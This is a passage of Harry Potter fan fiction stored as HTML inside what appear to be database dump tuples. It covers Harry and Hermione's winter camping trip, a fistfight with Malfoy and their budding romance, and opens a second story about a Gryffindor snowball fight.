She smiled up at him sweetly and felt her cheeks grow red hot as she allowed herself to nuzzle up under his chin and lay one arm around him. She could feel him grow tense for a moment before settling down.  &quot;Good night.&quot; She whispered into his shirt, closing her eyes and feeling a strange calmness sweep over her as she heard his heartbeat. </p>\n\n<p>&quot;Goodnight, \'Mione&quot; He said after a bit, and he too wrapped an arm around her, suddenly aware of all the room that was not needed in his single sleeping bag. </p>\n\n<p>And with that, they fell asleep.</p>\n\n<p>							~~**~~</p>\n\n<p>A/N: Like it? Hate it? Tell me ^^. If this stoy touched your heart in any way or made you laugh, please leave a review.</p>\n\n\n'),
	(110, 2, '\n\n<p>The sun rose slowly I the forest, scattering the creatures of the night and bringing sparkles of light dancing across the snow fresh on the ground from the previous night&#8217;s fall. This was disturbed frankly by none other that Draco Malfoy and his two goons, Crabbe and Goyle. They marched through the snow, leaving a trail behind them that any forest animal could follow, including trolls and wild stags.  Draco didn&#8217;t care about this, though. All he knew was that his nemesis Harry Potter was stationed not too far from him, and he needed to pay a visit to his neighbors&#8230; it was the polite thing to do</p>\n\n<b><p align="CENTER">Snow Sleeping</p>\n<p align="CENTER">By: Satashi</p>\n<p align="CENTER">Chapter 2</p>\n</b>\n<p>Hermione woke slowly, stretching out and reaching for some warmth to cover the cold air flowing into her sleeping bag. Blinking slowly, she sat up and rubbed her eyes. &quot;Harry?&quot; She asked, trying to remember why she was in a Muggle tent in the middle of December.</p>\n\n<p>&quot;Out here.&quot; She heard his voice call. &quot;I&#8217;ll have a nice breakfast going soon. I&#8217;ve had a lot of practice with this kind of cooking with my aunt and uncle, I have.&quot; His voice trailed off about however his training had been on a stove and not an open flame, but &#8211;hey- it&#8217;s all the same principle, right?</p>\n\n<p>Hermione smiled lightly to herself. Harry wasn&#8217;t the best of cooks. He relied on her most of the time when he or Ron had wanted snacks before a mealtime.</p>\n\n<p>&quot;What the hell you doing here?&quot;</p>\n\n<p>Hermione blinked. Who had he said that to?</p>\n\n<p>					~**~</p>\n\n<p>Malfoy snorted at his foe. &quot;Well well well, Harry Potter slaving over a campsite. Such a pitiful sight to see.&quot; His lackeys laughed dumbly at their mentor&#8217;s comment. &quot;Tell me, Potter, who are you feeding that trash to? A Weasly? We all know he can&#8217;t cook for himself. What with no cooking utensils?&quot;</p>\n\n<p>&quot;For your information, Malfoy, he does, and no, Ron&#8217;s not here this time.&quot; He stood threateningly and glared.</p>\n\n<p>&quot;Harry, what&#8217;s all this fuss about?&quot; Hermione poked her head outside of her tent and the her body followed, covered only by one of Harry&#8217;s extra large sleeping shirts that went past her knees.  &quot;Malfoy.&quot; She said his name like a swear word and her face grimaced at the sight of him.</p>\n\n<p>&quot;<i>Hermione</i>!?&quot; He asked surprised. &quot;You&#8217;re shaking it up with Hermione in the middle of the forest!?&quot; His face still held a look of fake shock. &quot;You ARE a brave one aren&#8217;t you, Potter!?&quot;</p>\n\n<p>Hermione was furious. How <i>dare</i> he!?</p>\n\n<p>&quot;Watch your tongue, Malfoy.&quot; Harry spat, sending daggers with his eyes.</p>\n\n<p>&quot;What?&quot; Malfoy took a daring step forward. &quot;Not want people to know of it? Your little &#8216;roll in the hay?&#8217; Well, I don&#8217;t blame her for wanting to get you in the sack. A no good Mudblood like her would probably spread her legs for any one with a famous name. Lucky for you she just happen to be a so called friend.&quot; Another step. &quot;Tell me, Potter, was she a screamer?&quot;</p>\n\n<p>Harry leapt the fire in one jump and cleared the distance between them so fast he had the chance to grab Malfoy&#8217;s cloak right in front of his neck. &quot;You take that back!&quot; He screamed, furious.</p>\n\n<p>&quot;Make me potter!&quot; He yelled just as loud, grabbing his hand. &quot;Or are you too upset protecting that no good, low down, Mudblood, two cent <i>whore</i>!?&quot;</p>\n\n<p>Harry&#8217;s fist connected before he knew what he was doing. Malfoy lurched sideways but managed to punch him back in the stomach. Harry grunted, but tackled him in the snow, pounding on his face with both hands.</p>\n\n<p>&quot;This is for Ron!&quot; Punch. &quot;And Hagrid.&quot; Another punch with his other hand. &quot;For always insulting people!&quot; another. &quot;For insulting the sport of quidditch!&quot; another punch. &quot;For ME!&quot; he slammed him so hard his eyes began to swell. &quot;And this.&quot; He breathed, balling up his fist tight. &quot;Is for Hermione!&quot; </p>\n\n<p>And his fist shattered the cartilage in Malfoy&#8217;s nose. Crabbe had to rip Harry off then, before he did any more damage. Goyle lifted Malfoy to his feet and the stunned sixteen-year-old looked at Harry with honest shock. His mouth opened to say something, but he shut it instead, turning.  The last bit of his pride was stripped from him when he snorted and coughed, sending a bit of blood onto the snow.</p>\n\n<p>&quot;That felt surprisingly well.&quot; Harry breathed, turning to the tent. &quot;Hermione? \'Mione, where are you?&quot;</p>\n\n<p>The quiet sounds of soft sobs came from the tent. &quot;Oh no&#8230;&quot;</p>\n\n<p>						~**~</p>\n\n<p>Harry opened the flap to his tent and literally felt his heart fall when he saw the crying girl laying face down on the sleeping bag. Sighing to himself and cursing Malfoy, he zipped up the tent and sat next to her, rubbing her back with one hand. &quot;The things he said weren&#8217;t true, you know.&quot; He told her soothingly. Her sobs slowled considerably at the motion to calm her down. &quot;He&#8217;s just jealous.&quot; Harry continued. &quot;Jealous that the greatest witch that Hogwarts has ever seen were born from Muggles, and he- a &quot;pure bread&quot; cannot match your talent.&quot;</p>\n\n<p>Hermione nodded lightly in the pillow, but still made no move to get up. Harry continued, now turned sideways and gently massaged her back with both hands. Her quiet tears soon stopped and she felt the world growing distant and the warm hands slid over the light fabric covering her back. She could feel the world slipping away, but she welcomed the comforting feeling and was soon fast asleep.</p>\n\n<p>						~**~</p>\n\n<p>When Hermione woke again, she found Harry next to her, running his fingers through her hair. She smiled sleepily up at him and managed to get out a small &quot;thanks&quot; before almost drifting off again. </p>\n\n<p>&quot;Just telling the truth, I am.&quot; He replied with a smile, but then turned serious. &quot;\'Mione, you&#8217;re the best witch here. And I&#8217;m proud to be here with you and to call you my friend.&quot;</p>\n\n<p>Hermione felt her cheeks go pink, but still smiled up at him and sat up. Without a moment&#8217;s delay, she wrapped Harry into a hug and pulled herself to sit in his lap. &quot;I&#8217;m glad I have such good friends.&quot; She told his ear. &quot;Very glad.&quot;</p>\n\n<p>Harry&#8217;s hands found themselves once again rubbing her back. &quot;Hey, anytime.&quot; He smiled.</p>\n\n<p>Both parted lightly and smiled to each other. A moment passed and Hermione found herself strangely leaning forward. Before she could question this weird feeling, she discovered her eyes were closed and her lips were parting slowly. &#8216;<i>Wait a minute&#8230;.</i>&#8217; She told herself. &#8216;<i>I&#8217;m about to kiss him!&#8217;</i> But she didn&#8217;t stop herself, didn&#8217;t want to. The only thing that mattered now was capturing the boy&#8217;s lips with her own. </p>\n\n<p>And she would have too, if not for the patting on the tent.</p>\n\n<p>&quot;Harry? Hermione? You two in there?&quot;</p>\n\n<p>Hermione jerked back, eyes flying open to see a scared look on Harry&#8217;s face. &quot;I almost kissed her&#8230;&quot; She heard him breath  astonished, a goofy grin on his face. &quot;I almost kissed her&#8230;&quot;</p>\n\n<p>The tent unzipped and Hagrid poked his head in. &quot;Ah, thar ye are.&quot; He grinned broadly. &quot;Come on now, Your food&#8217;s been burning for quite some time now, an&#8217; &#8211; Hermione, are you wearing Harry&#8217;s cloths?&quot;</p>\n\n<p>Hermione blushed sharp red and stammered out her edscuse, but Harry beat her to it. &quot;She fell in the creek.&quot; He said with a laughing smile. &quot;All of her stuff is probably frozen solid out on the lines outside.&quot;</p>\n\n<p>Hagrid retreated his head for a moment to look at the line of cloths, but soon laughed heartily, which Harry joined in.</p>\n\n<p>The young woman in the tent pushed Harry out with a pout and flustered expression. &quot;I&#8217;m changing.&quot; She informed them. &quot;Don&#8217;t you <i>dare</i> peak!&quot; </p>\n\n<p>And the tent zipped shut.</p>\n\n<p>							~**~</p>\n\n<p>&quot;How are ye doin&#8217; out &#8216;ere in tha forest, Harry?&quot; Hagrid inquired, watching him cook a lunch now over the fire. &quot;No problems, I&#8217;m assuming?&quot;</p>\n\n<p>&quot;I had a little skirmish with Malfoy earlier, but other than that, no.&quot;</p>\n\n<p>&quot;Ah, I see.&quot; Hagrid&#8217;s face concentrated for a moment. &quot;Yes, I do believe it says on the parchment not to enter in another student&#8217;s area of magic. I&#8217;ll ask Dumbledor about it tonight over dinner. In the mean time, I must say I&#8217;m sorry to hear about Hermione. It&#8217;s forbidden to give any students any extra items, and cloths were up to the student to bring.&quot;</p>\n\n<p>&quot;It&#8217;s okay.&quot; Harry replied, poking his fire. &quot;I&#8217;m sure we&#8217;ll manage on 6 shirts for four days.&quot;</p>\n\n<p>Hermione then chose to reappear from the tent. She had on the same pants as yesterday with another shirt, held close at the top. Harry recognized it as his &quot;V-neck&quot; shirt. It looked as if to fit her almost properly, being one of Harry&#8217;s older shirts.  It however, was apparent why she held it closed at the top when she bent over to pick up a log. Harry could <i>feel</i> his eyes bulge. Quickly he turned his head and thought he would pass out from a nosebleed if the blood rushing to his head didn&#8217;t slow.</p>\n\n<p>&quot;Quite a cutie, Hermione.&quot; Hagrid told him with a wink. &quot;You be best to get her now before another guy does.&quot; He stood with a smile and looked around. &quot;Well, I reckon I mus&#8217; be goin&#8217; now.&quot; He voiced. &quot;I&#8217;ve three more tents to get to before lunch is over.&quot;</p>\n\n<p>&quot;Bye Hagrid.&quot; Hermione told him as she put a log in the fire. &quot;See you tomorrow.&quot;</p>\n\n<p>&quot;Aye.&quot;</p>\n\n<p>					~**~</p>\n\n<p>&quot;This deep enough?&quot; Harry asked, hands shivering in the cold snow.</p>\n\n<p>Hermione sat next to him on a log while he dug. &quot;No, it needs to be another four inches deep.&quot; She replied with a quick measuring spell.</p>\n\n<p>Harry grimaced, but punched the ground again and again with the magical spades that came from his knuckles. After six punches, he pulled the cold hard dirt from his hole and breathed. &quot;Mione&#8230;Tell me this is good&#8230;&quot;</p>\n\n<p>Hermione looked at it and nodded. &quot;Yup. Now for my part.&quot; She dropped the seed into the earth and moved the dirt ontop of it with the side of her shoe (one of the only articles of clothing that she saved). &quot;She waved her wand across it naturally and clearly said &quot;sproutus impatious!&quot; The seedling bloomed almost instantly.</p>\n\n<p>&quot;Wow.&quot; Harry nodded. &quot;How long?&quot; </p>\n\n<p>Hermione checked their instructions. &quot;An hour.&quot; She sat by the fire and watched her handiwork move lightly, clearly growing. &quot;Then we pluck, mix and find an animal. That&#8217;ll be the hard part.&quot;</p>\n\n<p>&quot;Scared of going out of our protection ring?&quot; Harry raised an eyebrow. &quot;Eh, \'Mione?&quot;  </p>\n\n<p>She wrinkled her nose at him out of habit. &quot;Not at all.&quot; She sniffed proudly. &quot;I&#8217;m not scared.&quot;</p>\n\n<p>&quot;Sure.&quot; His voice was joking, watching her check her cloths she managed to hold in front of the fire. &quot;Dry yet?&quot;</p>\n\n<p>&quot;Not even.&quot; She sighed. &quot;All I have dry are my knickers.&quot; </p>\n\n<p>&quot;And what pretty ones they are at that.&quot; Harry smirked. The comment got himself a face full of Hogwarts issued dress skirt. &quot;Ack, I&#8217;ve gone blind!&quot;</p>\n\n<p>She giggled at his lame attempt to be funny.</p>\n\n<p>&nbsp;</p>\n<p>					~**~</p>\n\n<p>&quot;Alright.&quot; Hermione nodded. &quot;Pull it up now.&quot; Harry did as he was told, getting dirt and sod all over him. Her muttered a slight &#8216;Ack&#8217;, but Hermione continued. &quot;Alright, we planted the seed, grown, and uprooted. Now we need to turn it to juice.&quot;</p>\n\n<p>Harry nodded and held it over a beaker. &quot;It was liquidus forthus, right?&quot;</p>\n\n<p>His friend nodded. &quot;The basic swish and flick wand motion.&quot;</p>\n\n<p>Harry did so. Swish,  &quot;Liquidus forthus.&quot; And flick. The plant instantly burst into liquid, falling neatly into the set up beaker. &quot;God, I love doing that. So rewarding.&quot;</p>\n\n<p>Hermione rolled her eyes, but secretly smiled to herself. She had thought the same thing when she did it in class. &quot;Anyway, now we must mix the elixir.&quot;</p>\n\n<p>&quot;You&#8217;re doing it.&quot; Harry commanded, pushing the beaker into her hands. &quot;Time for Hogwart&#8217;s best witch to strut her stuff.&quot;</p>\n\n<p>&quot;You just wanna see my butt.&quot; She commented, walking to the tent for her supplies. &quot;Strut indeed.&quot;</p>\n\n<p>Harry let his eyes linger. &quot;And a mighty fine butt it is!&quot;</p>\n\n<p>Whoosh! &quot;Haha, you missed me, \'Mio-&quot; piff! &quot;Nevermind.&quot;</p>\n\n<p>					~**~</p>\n\n<p>&quot;And there we are.&quot; Hermione said, looking over the clear liquid in the glass in front of her.  &quot;Not too shabby, if I do say so myself.&quot;</p>\n\n<p>&quot;And you do.&quot; Harry added, shivering lightly. It had taken her all afternoon to finish the potion, messing up once (&quot;Whoops&quot;) and fixing it later (&quot;See!? TOLD you I could fix it&quot;). All in all, it turned out to be all right.</p>\n\n<p>&quot;Shush.&quot; She commanded of him. &quot;How are my cloths?&quot;</p>\n\n<p>Harry rubbed his sore arms after holding some of her cloths close to the fire long enough to de-thaw and dry them. &quot;You have a shirt for tomorrow and a skirt with your long thermal pantyhose.&quot;</p>\n\n<p>&quot;Such a dear.&quot; She commented, patting Harry&#8217;s head by standing on her toes. &quot;That why I keep you around.&quot;</p>\n\n<p>&quot;Says the book worm who spends all of her time in the library.&quot;</p>\n\n<p>&quot;Oh shush!&quot; She stuck her tongue out at him girlishly and snatched her cloths from him. &quot;At least I don&#8217;t talk to snakes.&quot;</p>\n\n<p>&quot;What&#8217;s wrong with that!?&quot; He demanded, following her into the tent and plopping down onto the sleeping bag and grabbing a bag of chips.</p>\n\n<p>&quot;Nothing at all, weirdo.&quot; She replied, grabbing his chips and eating some.</p>\n\n<p>&quot;Geeze Mione!&quot; Harry sulked, eyeing his chips. &quot;You eat more than me and Ron combined, and that&#8217;s no easy feat!&quot;</p>\n\n<p>&quot;I&#8217;m a growing girl.&quot; She commented, sitting in front of her and crossing her legs. She pulled her shirt back so the V-neck wouldn&#8217;t show too much of her cleavage. </p>\n\n<p>&quot;And don&#8217;t even gain a pound.&quot; He snatched back his chips and shoved some into his mouth.</p>\n\n<p>&quot;I have a high metabo<i>lism</i>.&quot; She got the bag back with a snatch on her last word. &quot;You pig, you ate them all!&quot;</p>\n\n<p>&quot;I only got one handful!&quot;</p>\n\n<p>&quot;&#8230;Oh, yeah, I ate them. Hehe, silly me.&quot;</p>\n\n<p>&quot;\'Mione, you&#8217;re incredible.&quot;</p>\n\n<p>Nose wrinkled. &quot;I know.&quot;</p>\n\n<p>&quot;Now leave, I wanna change to go to sleep.&quot;</p>\n\n<p>&quot;Yeah yeah.&quot;</p>\n\n<p>						~**~</p>\n\n<p>Hermione slid into the sleeping bag next to Harry and snuggled her back against his front, allowing his arm to lazily snake around her. She reached up and took it in hers in place of her teddy bear back at her dorm, but he literally flinched away.</p>\n\n<p>&quot;You&#8217;re like ICE!&quot; he complained. &quot;Your feet too!&quot;</p>\n\n<p>She humped and dug her feet deeper into the sleeping bag in vain. Harry was too tall for her. &quot;Just get over it and let me warm my hands.&quot; She grabbed his and held it, smiling at the warmth it brought. &quot;Thank &#8211;you~!&quot;</p>\n\n<p>Harry shivered, but didn&#8217;t complain farther. It wasn&#8217;t <i>that</i> bad after all. In fact after her hands warmed up a bit, he pulled her closer to him so her back was pressed firmly against his front. &quot;<i>You be best to get her now before another guy does.</i>&quot; Hagrid&#8217;s words floated around in his mind a moment before he spoke. &quot;Hey, \'Mione?&quot;</p>\n\n<p>&quot;Hmmmmm?&quot; She was as good as asleep. </p>\n\n<p>&quot;Do you enjoy being with me?&quot;</p>\n\n<p>&quot;Mmmhhhmmmmm&#8230;&quot; She pulled his hand to her chest and brought her knees up, curling into a little ball. </p>\n\n<p>&quot;Okay, just wondering.&quot;</p>\n\n<p>&quot;Mmmmm&#8230;&quot; </p>\n\n<p>&quot;You&#8217;re not even awake are you?&quot;</p>\n\n<p>&quot;Mmmhmmmm...&quot;</p>\n\n<p>						~**~</p>\n\n<p>&nbsp;</p>\n<p>It was Hermione who woke up first the next day. She stretched, giggling lightly as Harry&#8217;s fingers grazed her stomach when she bent her back to work out it&#8217;s kinks. Sighing happily she snuggled back in with her best friend and re-closed her eyes, enjoying the warmth a little more before she had to get out and start the search for a wounded animal.</p>\n\n<p>&quot;How long are you going to stay here?&quot; A voice asked her neck, startling her lightly.</p>\n\n<p>&quot;Harry?&quot; </p>\n\n<p>&quot;Well, yeah, who else would you be sleeping with?&quot;</p>\n\n<p>&quot;You make it sound so perverted.&quot;</p>\n\n<p>&quot;Well you&#8217;re the one getting all snuggly.&quot;</p>\n\n<p>She humphed indignantly. &quot;I didn&#8217;t hear any complaints from you.&quot;</p>\n\n<p>&quot;What&#8217;s there to complain about?&quot; He answered in kind, pulling her close. &quot;It&#8217;s nice to have someone here for you when you wake up.&quot;</p>\n\n<p>&quot;Yeah, it is.&quot; She agreed, taking his hand and holding it to her chest like the previous night.</p>\n\n<p>&quot;Where does this leave us?&quot;</p>\n\n<p>She played with his fingers for a moment while thinking. &quot;Really close friends?&quot; He kissed her neck, sending shivers down her spine. &quot;Or would you like to be my boyfriend?&quot;</p>\n\n<p>&quot;Thought you&#8217;d never ask.&quot; He breathed, pulling her closer and leaving a trail over her shoulder.</p>\n\n<p>&quot;Mm, Harry, no,&quot; She told him, trying to surpres a purr of excitement. &quot;Hagrid will be here in a little bit and we still have to find an animal and&#8212;oh wow.&quot;</p>\n\n<p>&quot;Thought so.&quot;</p>\n\n<p>						~**~</p>\n\n<p>&quot;Was it good for you too?&quot; Harry asked lying next to her.</p>\n\n<p>&quot;If you call having a boy who had no clue what the hell he was doing kissing up and down your neck and then being interrupted while your half naked by someone who is six feet taller than you who says something about &quot;Young&#8217;ns&quot; and then making out clumsily and awkwardly&#8230; Yes, It was the best time of my life.&quot; Her voice was serious and sweet, ending with a soft peck to his lips. &quot;But next time, my rules, alone, and we take time to learn how to kiss properly before you go putting your tongue in like that.&quot;</p>\n\n<p>&quot;Hermione&#8230;that was <i>your</i> tongue.&quot;</p>\n\n<p>&quot;Oh yeah&#8230;.&quot;</p>\n\n<p>						~**~</p>\n\n<p>&quot;See anything?&quot; Hermione asked, hugging herself trying to keep warm. </p>\n\n<p>&quot;Nothing. I can&#8217;t believe I&#8217;m saying this, but can&#8217;t there be a single wounded animal around here?&quot;</p>\n\n<p>&quot;Yeah, but&#8212;oh hey! A little rabbit!&quot;</p>\n\n<p>Harry walked over to her and kneeled down. &quot;And he&#8217;s hurt too. Poor little guy.&quot; Harry looked at the brown furred rabbit in front of him.</p>\n\n<p>&quot;Little guy probably didn&#8217;t stand a chance.&quot; Hermione sniffed. &quot;I feel so bad wanting to have one hurt now&#8230;&quot;</p>\n\n<p>&quot;This is why we&#8217;re here.&quot; Harry told her, pouring a little elixir on he wound. It healed almost instantly. &quot;Powerful stuff.&quot;</p>\n\n<p>The now fine rabbit immediately shot up and away, scared out of its mind.</p>\n\n<p>&quot;Well that takes care of that.&quot; Harry commented, standing. &quot;This entire trip and not a single goblin, troll, werewolf, giant spider, or <i>anything</i>.&quot;</p>\n\n<p>						~**~</p>\n\n<p>Malfoy ran like hell, being chased by no less than seven monsters. His voice rang out like a little girl scream as he plowed through the snow.</p>\n\n<p>						~**~</p>\n\n<p>&quot;Tomorrow we go back.&quot; Hermione said, watching the fire in front of them. &quot;It&#8217;s been fun, these last few days.&quot;</p>\n\n<p>&quot;Yeah. Got to camp, some extra points, and a girlfriend to show for my troubles.&quot;</p>\n\n<p>&quot;Heh. I bet we&#8217;ll make front page on the <i>Daily Prophet</i>. I can see it now. &quot;Harry Potter admits to being the boyfriend of Hermione Granger, the top student at Hogwarts.&quot;</p>\n\n<p>&quot;Yeah right.&quot; Harry replied, unzipping the tent and changing for bed, soon followed by Hermione. &quot;I do believe <i>you</i> asked <i>me</i>.&quot;</p>\n\n<p>&quot;Hmmm? I don&#8217;t recall that.&quot; She gave him a grin that he never saw on her face before, but was sure he was going to like. &quot;Care to prove it, Mr. Harry Potter?&quot;</p>\n\n<p>Harry smirked. &quot;Why sure. I think Hogwarts should know what <i>really</i> went on.&quot;</p>\n\n<p>She giggled and pushed him down on the sleeping bag, lying on top of him. &quot; Prove it.&quot; </p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<p>~<i>fin</i></p><i>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n</i><p>Hope you enjoyed it. Please leave a review if it touched your heart in any way. ^.^</p>\n\n'),
	(111, 1, '\n\n<p>A/N: Well, it&#8217;s humour in the first part and romance in the second. A nice combination if you ask me. My other stories aren&#8217;t usually like this, though. Well, enjoy it ^^</p>\n\n<p>						~~**~~</p>\n\n<p>Harry found the ground rushing up to him alarmingly fast. Something cold and wet slid down the back of his shirt, signaling where he had been attacked. With a startled cry, he met the snow below him with a weird crunching sound. Laughter rang up all around him, invading his ears. What had just happened? Ron helped him up, grinning broadly. &quot;Hermione just laid a smack down on you.&quot; He informed him.</p>\n\n<p>&quot;Oh&#8230;. <i>Oh!</i> It&#8217;s on now!&quot;</p>\n\n<p align="CENTER">Snow Blazin&#8217;</p>\n<p align="CENTER">By:</p>\n<i><p align="CENTER">Satashi</p>\n<p align="CENTER"></p>\n</i><p>Harry made a snowball while being doubled over, appearing to be trying to stand after being knocked down. Ron took a small step back, seeing where this was going to go. When Harry gave Ron a smug look, he knew just what to do. &quot;Harry!&quot; He cried out, sounding alarmed. &quot;Sweet Merlin, you okay!?&quot;</p>\n\n<p>Laughter stopped immediately, signaling Harry to go on about with his part of the act he and Ron had silently set up. &quot;Ron, I landed on something! I can&#8217;t see out of my right eye!&quot; Harry thought about practicing his lies in privet. He sounded a little fake.</p>\n\n<p>Hermione didn&#8217;t catch this, however, and began to run up to him. &quot;Harry? Harry, I&#8217;m so sorry!&quot;</p>\n\n<p>Ron coughed rather loudly and Harry took it to be a signal. Without wasting any more time, he jumped up and whipped around, smacking Hermione almost point blank with a snowball to the forehead. &quot;Got\'cha.&quot; He said simply.</p>\n\n<p>A second passed.</p>\n\n<p>Then another.</p>\n\n<p>It was the twins who broke out laughing first, soon followed by everyone else. Hermione slowly caught on to what had just happened and turned a bright shade of pink. &quot;Harry! I was worried sick about you!&quot;</p>\n\n<p>&quot;Hey, Hermione, Harry!&quot;</p>\n\n<p>Both turned, only to get a snowball on their chest from Ron. Dean and Seamus broke into helpless fits of laughter, but stopped when confronted by snowballs being thrown their way. Although both managed to get by without a hit, Dean yelled out for all to hear the magical words: &quot;Snowball fiiiiiiiight!&quot;</p>\n\n<p>Chaos followed.</p>\n\n<p>Harry and Ron immediately went back to back, chunking the balls of slush as fast as they could make them. Seamus and Dean found themselves with their roommates and the group made a cross formation, hurling snowballs at everyone who opposed them. The twins seemed to be getting more snowballs than thought humanly possible.</p>\n\n<p>This was explained when Harry saw each held a scoop like object in their right hands. &#8216;<i>An ice cream scooper?</i>&#8217; Harry thought amazed, until he saw exactly what it did. The scoop part of the object was darted across the snow, followed by a press on a latch on the handle. The scooper was covered by something, forming a perfect snowball, now matter how much or little was picked up at the beginning. Also, they seemed to be able to throw the ball directly from their device. </p>\n\n<p>Leave it to them to make something like that.</p>\n\n<p>Harry had a disagreement with a snowball from Ginny a second later. You see, Harry thought that the snowball should miss him, and the snowball thought it should hit him in the neck and drizzle down his tucked in shirt. Unfortunately, Harry never was all that good at arguing.  &quot;Cold! Cold!&quot; he shouted, quickly untucking his sweater and letting the ice fall from his shirt.</p>\n\n<p>Ron, behind him, had been smacked by Lavender, and was being quite vocal in yelling how he would seek revenge. Dean, distracted by Ron, was also hit- this time from Hermione. Seamus was about to laugh, but found that they were being targeted quite well, as he was hit himself.</p>\n\n<p>&quot;Form a base!&quot; Ron suddenly shouted, dropping to his knees and pushing up the snow. &quot;Fred, George, defend! Harry, help me! Dean, Seamus, start making snowballs!&quot;</p>\n\n<p>&quot;Sir, request permission to join, sir!&quot; Neville suddenly appeared. </p>\n\n<p>&quot;Permission granted soldier!&quot; Ron answered him like a drill Sargent. &quot;You will help fortify the walls to the fort! Move people!&quot;</p>\n\n<p>&quot;Sir, yes sir!&quot; The boys chorused. </p>\n\n<p>&quot;Lavender, Angelina, Ginny!&quot; Hermione called out, pointing. &quot;This is war! Prepare to counterattack!&quot;</p>\n\n<p>&quot;Captain!&quot; Patty laughed out, acting like the boys. &quot;We&#8217;re out numbered!&quot;</p>\n\n<p>&quot;But we&#8217;re smarter!&quot; Hermione replied with a determined, if not playful, look. &quot;All together now,&quot; she began, but had to duck an onslaught from the twins. &quot;Get down and push up snow!&quot;</p>\n\n<p>It helped that the snow was almost a foot deep. The snowstorm last night was really strong. All at once, the girls dropped and pushed up an impressive snow heap. A few more tries of this and they had quickly made a three foot high hump of snow in front of them. They boys were still trying to make their shield, but had patted down the snow to make it stronger.</p>\n\n<p>The fight almost seemed to pause for a few minutes while each side made their own little snow fort. The girls had a huge heap of snow for a shield, easily tall enough to hide behind at a crouch, but the boys had a well packed line of snow that they could lay crouch behind and only have their shoulders up visible. </p>\n\n<p>&quot;All right, men!&quot; Ron barked out in a commander voice. &quot;Prepare for attack!&quot;</p>\n\n<p>&quot;Come on girls!&quot; Ginny squealed, obviously having fun. &quot;Let&#8217;s show them what we&#8217;re made of!&quot;</p>\n\n<p>&quot;Attack!&quot; Harry cried out standing and pointing. Instantly all the males stood and hurled a barrage. </p>\n\n<p>&quot;Stay down.&quot; Hermione grinned, letting their snowballs piff harmlessly into their mound of snow. However, since they did not pack down their &#8216;shield&#8217;, it started to fall a little from the force. When the snow slowed a little, the girls crouched and started throwing their own snowballs.</p>\n\n<p>&quot;Duck and cover!&quot; Seamus ordered, dropping down to lie in the snow. The other&#8217;s followed suit and only a few of them got hit.</p>\n\n<p>&quot;They have a higher wall, but it&#8217;s not packed well.&quot; Harry said, laying with his back adjacent their snow wall. &quot;They can use it to hide, but if we throw hard, we can bring it down.&quot;</p>\n\n<p>&quot;Why bring it down?&quot; Fred asked with a grin. </p>\n\n<p>&quot;Look, they are adding more snow to it.&quot; George agreed.</p>\n\n<p>Harry glanced over his shoulder to see that it was true. The girls were simply piling snow upon snow. Their wall was reaching four feet. Suddenly it dawned on Harry what the twins were getting at. &quot;Ahhhhhh.&quot;</p>\n\n<p>&quot;What?&quot; Neville asked, making more snowballs.</p>\n\n<p>&quot;Look at them.&quot; Ron suddenly realized. &quot;They think that the more protection they have, the safer they will be to not get hit.&quot;</p>\n\n<p>Seamus jerked as he got hit. &quot;Yeah, good plan.&quot; He took to lying down with his partners. &quot;But we can break through it easily with a hard snowball.&quot;</p>\n\n<p>&quot;No need.&quot;</p>\n\n<p>&quot;Eh?&quot;</p>\n\n<p>&quot;Here&#8217;s the plan.&quot; Ron motioned for them to huddle closer; all now backs against their wall with snowballs flying over them. &quot;We throw weak snowballs. Don&#8217;t pack them well. Aim above the wall, throw them so they arch over it.&quot;</p>\n\n<p>&quot;Why?&quot; Neville asked, looking at all the snowballs they had made.</p>\n\n<p>&quot;Just do it.&quot; Harry grinned. &quot;I know where this is going.&quot;</p>\n\n<p>&quot;Attack, Men!&quot; George shouted, standing.</p>\n\n<p>&quot;Un!&quot; they all rang out, standing.  And hurling.</p>\n\n<p>&quot;Down!&quot; Hermione laughed out, as they all ducked. The girls all giggled as snowballs hit the wall they made. A few lazily smacked them on the heads, however.</p>\n\n<p>&quot;They can&#8217;t get over the wall.&quot; Ginny suddenly realized. &quot;If we make it higher, we can stand and throw and not be hit.&quot;</p>\n\n<p>&quot;The boys aren&#8217;t very good at this sort of thing.&quot; Patty mused, scanning their immediate field. &quot;They can throw harder and with more accuracy, but when it comes to decent defense before offence, they have no clue.</p>\n\n<p>&quot;Raise the walls.&quot; Angelina giggled out. </p>\n\n<p>Soon the girls were pushing snow from far away to place on their loose snow wall, packing it just enough so it&#8217;ll stay.</p>\n\n<p>Ten minutes later, they had successfully made a five foot three inch wall.</p>\n\n<p>&quot;Okay guys, ready?&quot; Ron asked, smirking. They had taken quite a beating for this strategy and all were soaked to the core and red from the cold.</p>\n\n<p>&quot;What&#8217;s the plan, oh great leader?&quot; Fred asked, breathing heavily with a smirk.</p>\n\n<p>&quot;Thanks for asking.&quot; Ron replied, in a voice that said he knew he would ask. &quot;Quite simple. The girls hide when we throw and I&#8217;m assuming that they just kind of sit their until we deplinish our supply. They attack while we remake out offence.&quot;</p>\n\n<p>&quot;You play too much chess.&quot; Neville revealed with a smile. &quot;Think too much.&quot;</p>\n\n<p>&quot;It&#8217;s simple.&quot; Harry interrupted Ron before he could explain in any more detail. &quot;We throw, they duck, we run and push the wall on them.&quot;</p>\n\n<p>&quot;Bloody brilliant!&quot;</p>\n\n<p>&quot;Okay then.&quot; Dean picked up two snowballs for each hand. &quot;We stand, yell, and throw one a piece. Then we run to them, stay quiet, and toss while we run.&quot;</p>\n\n<p>Seamus was getting into it as well. &quot;Form a straight line and tackle the wall with our shoulders, not hard enough for us to break through it, though.&quot;</p>\n\n<p>&quot;Just hard enough to topple it.&quot; George agreed, nodding. </p>\n\n<p>&quot;Ready, Men!?&quot; Harry stood and pointed. The girls ducked just as they had planned. Six tired and frost bitten men stood as well. Despite their heavy damage, each knew that it would be worth it. &quot;Make ready!&quot; the girls were laughing hard now at Harry\'s attempt to sound like Ron had earlier. &quot;Take Aim!&quot; the boys singled out a snowball. &quot;Fire!&quot;</p>\n\n<p>And so it went. One snowball and run. Two snowballs and run, three snowballs and run. Fourth and final ball and PUSH!</p>\n\n<p>The girls all screamed at the same time. The snow fort wall gave easily, burying them all in a thick mass of snow. &quot;Payback!&quot; They heard the guys say as they managed to get their heads out from being buried.</p>\n\n<p>Hermione looked up to see Harry above her, with a grin that clearly said he would enjoy this. &quot;You got me&#8230;&quot; Hermione began, trying to look cute. &quot;Call it even?&quot;</p>\n\n<p>Harry pretended to think about it. &quot;Hmm&#8230;.No!&quot; and with that, he launched forward and grabbed his best friend before proceeding to 